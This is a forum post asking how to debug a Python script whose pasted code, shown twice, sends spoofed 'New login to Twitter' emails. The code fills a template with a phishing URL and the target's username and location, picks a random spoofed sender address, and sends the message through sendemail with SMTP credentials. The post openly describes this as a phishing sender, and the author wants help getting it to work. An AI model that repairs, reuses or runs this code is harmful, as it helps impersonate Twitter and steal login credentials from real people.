So, the issue is with the program called Send"e"mail NOT sendmail. Those who use kali might be familiar with this. Now, the last command with sendemail doesn't work because of some issue. Since this is a part of the script,the error message is not shown. I tried debugging this with pdb with no success. I am not an expert with pdb. How can I see what error comes up when this part of the code is executed? (the sendemail command..this probably has to do with the size of the e-mail, I guess)
emaildata = str(EMAIL1_TWITTER)
emaildata = emaildata.replace('_DEF9', str(UNAME))
emaildata = emaildata.replace('PHISHING_URL', str(phishin_url))
emaildata = emaildata.replace('Chrome on Linux', str(Email_OS))
emaildata = emaildata.replace('Iraq', str(Email_from))
# `DECIDES THE SPOOFED EMAIL ADDRESS
from_email = str(random.choice(['[email protected]','[email protected]']))
##################################
# SENDS SPOOFED EMAIL #
##################################
subprocess.call(['sendemail', '-f', from_email,'-t', str(Email), '-u', 'New login to Twitter', '-m', emaildata, '-s', smtps+":"+port, '-o message-charset=utf-8', '-o', '-o', '-xu', username, '-xp', password])
os.system('reset')
emaildata = str(EMAIL1_TWITTER)
emaildata = emaildata.replace('_DEF9', str(UNAME))
emaildata = emaildata.replace('PHISHING_URL', str(phishin_url))
emaildata = emaildata.replace('Chrome on Linux', str(Email_OS))
emaildata = emaildata.replace('Iraq', str(Email_from))
# `DECIDES THE SPOOFED EMAIL ADDRESS
from_email = str(random.choice(['[email protected]','[email protected]']))
##################################
# SENDS SPOOFED EMAIL #
##################################
subprocess.call(['sendemail', '-f', from_email,'-t', str(Email), '-u', 'New login to Twitter', '-m', emaildata, '-s', smtps+":"+port, '-o message-charset=utf-8', '-o', '-o', '-xu', username, '-xp', password])
os.system('reset')


![[Image: 0DvFxnA.gif]](https://i.imgur.com/0DvFxnA.gif)